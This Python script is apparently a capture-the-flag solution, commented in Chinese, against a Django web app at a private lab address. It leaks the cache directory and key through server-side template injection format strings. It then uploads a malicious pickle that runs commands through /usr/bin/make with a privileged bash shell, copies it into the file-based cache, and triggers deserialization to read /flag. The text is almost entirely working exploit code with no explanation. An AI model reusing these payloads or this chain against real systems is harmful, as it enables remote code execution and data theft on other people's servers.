1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
| import os
import hashlib
import pickle
import zlib
import time
import re
import base64
import subprocess
import httpx
# 目标地址
BASE_URL = 'http://192.168.18.27:25003'
class SUIDMakeExec:
"""
构造恶意Pickle对象的类,保持原逻辑不变
"""
def __reduce__(self):
# 原逻辑:利用 /usr/bin/make 执行命令读取 /flag
cmd = ['/usr/bin/make', 'SHELL=/bin/bash', '.SHELLFLAGS=-p -c', '-s', '--eval', 'x:\n\tcat /flag', 'x']
return (subprocess.check_output, (cmd, ),)
def construct_payload():
"""
构造带有时间戳头部的压缩Pickle Payload
"""
header = pickle.dumps(int(time.time() + 3600), pickle.HIGHEST_PROTOCOL)
body = zlib.compress(pickle.dumps(SUIDMakeExec(), pickle.HIGHEST_PROTOCOL))
return header + body
def get_server_config(client):
"""
利用SSTI漏洞获取服务器配置 (Cache目录和Key)
"""
# 1. 获取 Cache 路径 (LOCATION)
payload_loc = '{user._groups.model._meta.default_apps.app_configs[auth].module.settings.CACHES[default][LOCATION]}'
try:
resp_loc = client.post(
"/generate/",
data={'intro': payload_loc},
files={'file': ('loc.txt', b'1', 'application/octet-stream')}
)
match_loc = re.search(r'<h3>(.*?)</h3>', resp_loc.text)
cache_dir = match_loc.group(1).strip() if match_loc else '/tmp/django_cache'
except Exception:
cache_dir = '/tmp/django_cache'
# 2. 获取 Cache Key Prefix (CACHE_KEY)
payload_key = '{user._groups.model._meta.default_apps.app_configs[auth].module.settings.CACHE_KEY}'
try:
resp_key = client.post(
"/generate/",
data={'intro': payload_key},
files={'file': ('key.txt', b'1', 'application/octet-stream')}
)
match_key = re.search(r'<h3>(.*?)</h3>', resp_key.text)
cache_key = match_key.group(1).strip() if match_key else 'pwn'
except Exception:
cache_key = 'pwn'
return cache_dir, cache_key
def run_exploit():
target_url = os.environ.get('BASE_URL', BASE_URL).rstrip('/')
# 使用 Client 保持会话配置,设置超时
with httpx.Client(base_url=target_url, timeout=5.0) as client:
print(f"[*] Target: {target_url}")
# 1. 获取配置信息
cache_dir, cache_key = get_server_config(client)
print(f"[+] Cache Dir: {cache_dir}")
print(f"[+] Cache Key: {cache_key}")
# 2. 计算目标文件名路径
# Django file-based cache 文件名生成规则
cache_filename = hashlib.md5(f":1:{cache_key}".encode()).hexdigest() + '.djcache'
destination_path = f"{cache_dir.rstrip('/')}/{cache_filename}"
# 3. 构造并上传 Payload
payload_data = construct_payload()
try:
# 上传文件
print("[*] Uploading payload...")
upload_resp = client.post(
"/upload/",
data={'filename': 'exploit.cache'},
files={'file': ('exploit.cache', payload_data, 'application/octet-stream')}
)
uploaded_path = upload_resp.json().get('filepath')
if not uploaded_path:
print("[-] Upload failed, no filepath returned.")
return
print(f"[+] Uploaded to temporary path: {uploaded_path}")
# 4. 复制文件到缓存目录 (利用 copy 接口)
print(f"[*] Copying to {destination_path}...")
client.post("/copy/", data={'src': uploaded_path, 'dst': destination_path})
# 5. 触发反序列化 (Trigger)
print("[*] Triggering deserialization...")
trigger_resp = client.post("/cache/trigger/", data={'key': cache_key})
result = trigger_resp.json()
b64_output = result.get('value_b64')
if b64_output:
flag = base64.b64decode(b64_output).decode(errors='ignore').strip()
print(f"\n[SUCCESS] Flag: {flag}\n")
else:
print("[-] No output in trigger response.")
except httpx.RequestError as e:
print(f"[-] Network error: {e}")
except Exception as e:
print(f"[-] Error: {e}")
if __name__ == '__main__':
run_exploit()
|